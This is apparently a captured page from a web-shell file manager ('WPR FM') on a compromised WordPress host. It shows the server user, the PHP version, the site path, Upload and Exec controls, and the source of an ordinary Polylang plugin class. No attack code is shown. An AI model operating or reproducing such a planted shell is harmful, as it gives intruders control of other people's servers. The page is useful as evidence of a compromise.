WPR FM
uid=9814(b13i2mwmyrdbxio) php=8.4.28
info
cwd /data/sites/web/b13i2mwmyrdbxio/www |
naik
Buka
-
Creator.php
802
x
-
Creator_Interface.php
497
x
-
NOOP.php
2952
x
-
User_Interface.php
2184
x
Upload
Simpan
<?php /** * @package Polylang */ namespace WP_Syntex\Polylang\Capabilities\User; use WP_User; /** * A class to create a decorated user. * Always returns a `NOOP` instance so capabilities features are disabled by default. * * @since 3.8 */ class Creator implements Creator_Interface { /** * The user instance to be used for capability checks. * * @var NOOP */ private ?NOOP $instance = null; /** * Creates and returns the user. * * @since 3.8 * * @param WP_User $user The user to decorate. * @return User_Interface Instance of `NOOP`. */ public function get( WP_User $user ): User_Interface { if ( $this->instance && $user->ID === $this->instance->get_id() ) { return $this->instance; } $this->instance = new NOOP( $user ); return $this->instance; } }
Exec